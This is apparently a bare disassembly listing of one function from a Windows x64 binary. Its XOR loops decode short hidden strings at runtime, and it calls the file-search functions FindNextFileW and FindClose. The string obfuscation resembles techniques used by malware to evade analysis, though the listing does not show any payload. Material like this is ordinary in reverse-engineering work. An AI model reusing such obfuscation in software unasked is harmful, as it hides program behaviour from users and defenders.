mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 3
jb 0x1400129a0
xorps xmm0, xmm0
mov dword [0x14005e350], eax
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x53], r14b
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], r14
mov r8, r15
mov qword [rsp + 0x48], r14
inc r8
cmp byte [rax + r8], r14b
jne 0x1400129e3
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rsi, [rsp + 0x30]
mov rax, qword [0x140056d70]
lea r11, [0x140056d60]
cmova rsi, qword [rsp + 0x30]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 7
cmova r11, qword [0x140056d60]
cmp rdi, rax
ja 0x140012a73
sub rax, rdi
test rdi, rdi
jne 0x140012a3c
mov rcx, r14
jmp 0x140012a76
lea r10, [r11 + 2]
mov rcx, r11
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov rax, r10
sub rax, rcx
sar rax, 1
je 0x140012a73
movzx edx, word [rbx]
nop
cmp word [rcx], dx
je 0x140012c4e
add rcx, 2
sub rax, 1
jne 0x140012a60
mov rcx, r15
cmp rcx, r15
mov rcx, rsi
setne bl
call fcn.14002cf8c
mov rdx, qword [rsp + 0x48]
cvttsd2si eax, xmm0
test eax, eax
sete dil
cmp rdx, 0xf
jbe 0x140012acb
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012ac6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133c7
call fcn.14001dd34
mov word [rsp + 0x50], 0x6b5e
mov eax, r14d
mov byte [rsp + 0x52], 0x5c
mov edx, r14d
mov ecx, r14d
movdqu xmmword [rsp + 0x53], xmm6
cmp bl, dil
jne 0x140013038
or r13d, 1
lea rsi, str.sZrrA
nop word [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + rsi]
mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 5
jb 0x140012b00
xorps xmm0, xmm0
mov dword [0x14005e31c], eax
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x55], r14b
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], r14
mov r8, r15
mov qword [rsp + 0x48], r14
inc r8
cmp byte [rax + r8], r14b
jne 0x140012b42
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.1400291d8
cmp qword [0x14005f408], rax
je 0x140012c98
xorps xmm0, xmm0
mov word [rbp + 0x48], 0x7442
xor eax, eax
mov byte [rbp + 0x4a], 0x47
movups xmmword [rbp + 0x4b], xmm0
mov word [rbp + 0xbb], ax
or r13d, 2
movups xmmword [rbp + 0x5b], xmm0
mov edx, r14d
mov ecx, r14d
movups xmmword [rbp + 0x6b], xmm0
movups xmmword [rbp + 0x7b], xmm0
movups xmmword [rbp + 0x8b], xmm0
movups xmmword [rbp + 0x9b], xmm0
movups xmmword [rbp + 0xab], xmm0
cdqe
movsxd rcx, ecx
movzx eax, byte [rbp + rax + 0x48]
xor al, byte [rcx + rsi]
mov byte [rbp + rcx + 0x48], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 3
jb 0x140012bc2
xorps xmm0, xmm0
mov dword [0x14005e350], eax
movups xmmword [rbp - 0x18], xmm0
mov byte [rbp + 0x4b], r14b
lea rax, [rbp + 0x48]
mov qword [rbp - 8], r14
mov r8, r15
mov qword [rbp], r14
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x140012c00
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x18]
call fcn.14001b810
cmp qword [rbp], 0xf
lea rdi, [rbp - 0x18]
mov rcx, qword [0x14005f408]
lea rdx, [0x14005d880]
cmova rdi, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rdi
mov ebx, eax
call fcn.14002cf8c
cvttsd2si ecx, xmm0
cmp ecx, ebx
jne 0x140012c98
mov bl, 1
jmp 0x140012c9a
test rcx, rcx
je 0x140012a73
mov r8, rdi
mov rdx, rbx
test rdi, rdi
je 0x140012c84
mov r9, rcx
sub r9, rbx
nop dword [rax + rax]
movzx eax, word [rdx]
cmp word [rdx + r9], ax
jne 0x140012c8f
add rdx, 2
sub r8, 1
jne 0x140012c70
sub rcx, r11
sar rcx, 1
jmp 0x140012a76
add rcx, 2
jmp 0x140012a50
xor bl, bl
test r13b, 2
je 0x140012cef
mov rdx, qword [rbp]
and r13d, 0xfffffffd
cmp rdx, 0xf
jbe 0x140012cdf
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012cda
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133cd
call fcn.14001dd34
mov qword [rbp - 8], r14
mov qword [rbp], 0xf
mov byte [rbp - 0x18], r14b
mov rdx, qword [rsp + 0x48]
and r13d, 0xfffffffe
cmp rdx, 0xf
jbe 0x140012d30
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012d2b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133cd
call fcn.14001dd34
test bl, bl
jne 0x140012895
mov word [rsp + 0x50], 0x6b5e
mov eax, r14d
mov byte [rsp + 0x52], 0x5c
mov edx, r14d
movdqu xmmword [rsp + 0x53], xmm6
mov ecx, r14d
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + rsi]
mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 5
jb 0x140012d53
xorps xmm0, xmm0
mov dword [0x14005e31c], eax
xorps xmm1, xmm1
mov byte [rsp + 0x55], r14b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rsp + 0x40], xmm1
inc r8
cmp byte [rax + r8], r14b
jne 0x140012d94
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.1400291d8
mov rcx, qword [0x14005f408]
mov rdx, qword [rsp + 0x48]
cmp rcx, rax
setne bl
cmp rdx, 0xf
jbe 0x140012e13
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012e07
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133c1
call fcn.14001dd34
mov rcx, qword [0x14005f408]
mov byte [rsp + 0x30], r14b
movdqu xmmword [rsp + 0x40], xmm7
test bl, bl
je 0x140012efc
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, r14d
mov word [rsp + 0x50], 0x6b5e
mov edx, r14d
mov byte [rsp + 0x52], 0x5c
mov ecx, r14d
movdqu xmmword [rsp + 0x53], xmm6
nop word [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + rsi]
mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 5
jb 0x140012e50
xorps xmm0, xmm0
mov dword [0x14005e31c], eax
xorps xmm1, xmm1
mov byte [rsp + 0x55], r14b
movups xmmword [rbp - 0x38], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp - 0x28], xmm1
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x140012e90
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.14001b810
cmp qword [rbp - 0x20], 0xf
lea rcx, [rbp - 0x38]
cmova rcx, qword [rbp - 0x38]
call fcn.1400291d8
mov rdx, qword [rbp - 0x20]
mov qword [0x14005f408], rax
cmp rdx, 0xf
jbe 0x140012efc
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012ef7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133d3
call fcn.14001dd34
xor eax, eax
mov dword [rsp + 0x50], 0x41437443
xorps xmm0, xmm0
mov dword [rsp + 0x69], eax
movups xmmword [rsp + 0x59], xmm0
mov byte [rsp + 0x6d], al
mov edx, r14d
mov dword [rsp + 0x54], 0x50233b72
mov ecx, r14d
mov byte [rsp + 0x58], 0x78
nop dword [rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + rsi]
mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 9
jb 0x140012f30
xorps xmm0, xmm0
mov dword [0x14005eb78], eax
xorps xmm1, xmm1
mov byte [rsp + 0x59], r14b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x50]
movdqu xmmword [rsp + 0x40], xmm1
nop
inc r15
cmp byte [rax + r15], r14b
jne 0x140012f70
mov r8, r15
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.14002cf8c
mov rdx, qword [rsp + 0x48]
cvttsd2si eax, xmm0
test eax, eax
setne bl
cmp rdx, 0xf
jbe 0x140012fe7
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012fe2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013385
call fcn.14001dd34
mov rdx, qword [r12 + 0x18]
mov byte [rsp + 0x30], r14b
movdqu xmmword [rsp + 0x40], xmm7
cmp rdx, 7
jbe 0x14001332e
mov rcx, qword [r12]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140013329
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140013385
jmp 0x140013326
lea rdi, str.sZrrA
nop
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + rdi]
mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 5
jb 0x140013040
xorps xmm0, xmm0
mov dword [0x14005e31c], eax
xorps xmm1, xmm1
mov byte [rsp + 0x55], r14b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rsp + 0x40], xmm1
inc r8
cmp byte [rax + r8], r14b
jne 0x140013081
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.1400291d8
mov rcx, qword [0x14005f408]
mov rdx, qword [rsp + 0x48]
cmp rcx, rax
setne bl
cmp rdx, 0xf
jbe 0x140013100
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400130f4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400133d9
call fcn.14001dd34
mov rcx, qword [0x14005f408]
mov byte [rsp + 0x30], r14b
movdqu xmmword [rsp + 0x40], xmm7
test bl, bl
je 0x1400131ec
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, r14d
mov word [rsp + 0x50], 0x6b5e
mov edx, r14d
mov byte [rsp + 0x52], 0x5c
mov ecx, r14d
movdqu xmmword [rsp + 0x53], xmm6
nop dword [rax]
nop dword [rax + rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rcx + rdi]
mov byte [rsp + rcx + 0x50], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 5
jb 0x140013140
xorps xmm0, xmm0
mov dword [0x14005e31c], eax
xorps xmm1, xmm1
mov byte [rsp + 0x55], r14b
movups xmmword [rbp - 0x38], xmm0
lea rax, [rsp + 0x50]
mov r8, r15
movdqu xmmword [rbp - 0x28], xmm1
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x140013180
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.14001b810
cmp qword [rbp - 0x20], 0xf
lea rcx, [rbp - 0x38]
cmova rcx, qword [rbp - 0x38]
call fcn.1400291d8
mov rdx, qword [rbp - 0x20]
mov qword [0x14005f408], rax
cmp rdx, 0xf
jbe 0x1400131ec
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400131e7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013379
call fcn.14001dd34
xorps xmm0, xmm0
mov word [rbp + 0x48], 0x7442
xor eax, eax
mov byte [rbp + 0x4a], 0x47
movups xmmword [rbp + 0x4b], xmm0
mov word [rbp + 0xbb], ax
mov edx, r14d
movups xmmword [rbp + 0x5b], xmm0
mov ecx, r14d
movups xmmword [rbp + 0x6b], xmm0
movups xmmword [rbp + 0x7b], xmm0
movups xmmword [rbp + 0x8b], xmm0
movups xmmword [rbp + 0x9b], xmm0
movups xmmword [rbp + 0xab], xmm0
nop dword [rax]
cdqe
movsxd rcx, ecx
movzx eax, byte [rbp + rax + 0x48]
xor al, byte [rcx + rdi]
mov byte [rbp + rcx + 0x48], al
lea eax, [rdx + 1]
mov edx, eax
mov ecx, eax
cmp eax, 3
jb 0x140013230
xorps xmm0, xmm0
mov dword [0x14005e350], eax
xorps xmm1, xmm1
mov byte [rbp + 0x4b], r14b
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x48]
movdqu xmmword [rsp + 0x40], xmm1
nop dword [rax]
inc r15
cmp byte [rax + r15], r14b
jne 0x140013270
mov r8, r15
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x30]
call fcn.14001b810
cmp qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call fcn.14002cf8c
mov rdx, qword [rsp + 0x48]
cvttsd2si eax, xmm0
test eax, eax
setne bl
cmp rdx, 0xf
jbe 0x1400132e6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400132e1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001338b
call fcn.14001dd34
mov rdx, qword [r12 + 0x18]
mov byte [rsp + 0x30], r14b
movdqu xmmword [rsp + 0x40], xmm7
cmp rdx, 7
jbe 0x14001332e
mov rcx, qword [r12]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140013329
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001338b
mov rcx, r8
call fcn.14001dd34
movaps xmm6, xmmword [rsp + 0x1d0]
mov word [r12], r14w
mov qword [r12 + 0x18], 7
mov qword [r12 + 0x10], r14
movaps xmm7, xmmword [rsp + 0x1c0]
lea r11, [rsp + 0x1e0]
mov rsi, qword [r11 + 0x48]
movzx eax, bl
mov rbx, qword [r11 + 0x40]
mov rdi, qword [rsp + 0x218]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3
call fcn.140023db8
int3